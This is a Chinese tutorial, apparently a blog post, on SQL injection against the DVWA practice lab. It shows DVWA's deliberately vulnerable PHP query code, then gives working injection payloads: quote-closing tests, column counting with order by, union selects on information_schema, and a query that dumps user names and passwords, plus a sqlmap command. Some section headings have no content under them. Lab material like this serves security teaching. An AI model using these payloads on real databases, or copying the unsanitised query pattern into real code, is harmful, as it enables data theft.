SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.
接下来你需要自行搭建DVWA的漏洞演练环境,我这里使用的系统环境是:Centos 7 + PHP 7 + MariaDB 5.5 + DVWA 1.10
<?php
if( isset($_REQUEST [ 'Submit' ])){
// 根据ID号取出相应的字段
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// 循环获取返回结果,并将其打印到屏幕上
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
$i++;
}
mysql_close();
}
?>
上面的代码就是低安全级别的核心代码了,观察后发现第5行,在查询语句的构建中并没有检查$id参数是否合法,而是直接带入到了数据库中进行了查询,很明显这里存在SQL注入漏洞可以直接利用.
当我们在输入框中输入1的时候,PHP解释器将会把 $id 替换成 1 ,实际上后台执行的SQL语句如下:
SELECT first_name, last_name FROM users WHERE user_id = '1';
由于PHP代码中并没有对 $id 参数进行合法化的过滤,导致我们可以巧妙地使用单引号完成SQL语句的闭合,并通过使用and,or,union 等命令拼接构建好的恶意SQL并带入数据库执行,如下我们可以这样构建一条具有闭合功能的SQL语句:
user_id = '$id' ----> $id = '1' and '1'='1' ----> 最终语句为: 1' and '1'='1
判断注入点:1.首先输入and 1=1 返回了结果,输入and 1=0 返回空,说明存在注入点。
判断字段数: 使用order by 判断字段数,输入order by 1显示正常,但输入order by 3 显示则错误,说明只有两个字段。
获取数据库敏感信息:
读取主机敏感文件:
获取数据库中的表: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取指定表中的字段: 0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
脱库: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
获取登陆后的Cookie:
F12调试模式,登录成功后,可看到cookie
随便输入用户名密码,点击登录跳转到登录页面。
修改,将上方得到的cookie填充到此处,此处我的cookie是;
放行数据,即可登录完成。
保存下面的数据包,然后放入sqlmap根目录。
直接使用 sqlmap.py -r post.txt -p id --dbs 完成注入演示。